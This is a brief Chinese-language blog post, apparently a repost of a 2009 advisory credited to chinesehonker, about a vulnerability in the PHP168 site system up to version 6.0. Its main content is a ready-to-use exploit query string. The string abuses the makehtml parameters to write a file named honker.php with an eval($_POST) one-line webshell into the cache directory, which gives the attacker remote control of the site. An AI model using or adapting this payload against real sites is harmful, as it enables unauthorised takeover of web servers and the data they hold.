PHP168 6.0及以下版本漏洞

日期: 2009/09/09 分类: 技术杂文 标签: , 添加回复

来源：chinesehonker

危险等级：高

影响版本：PHP168 6.0以下版本

入侵者可以在用户登陆页面构造特殊语句，将PHP一句话写入cache目录，从而获得使用PHP168整站程序网站的WEBSHELL权限。

测试语句：
?makehtml=1&chdb[htmlname]=honker.php&chdb[path]=cache&content=?php%20@eval($_POST[honker]);?

相关文章

«
»

本文还暂无回复

添加回复

支持 Ctrl+Enter 快速提交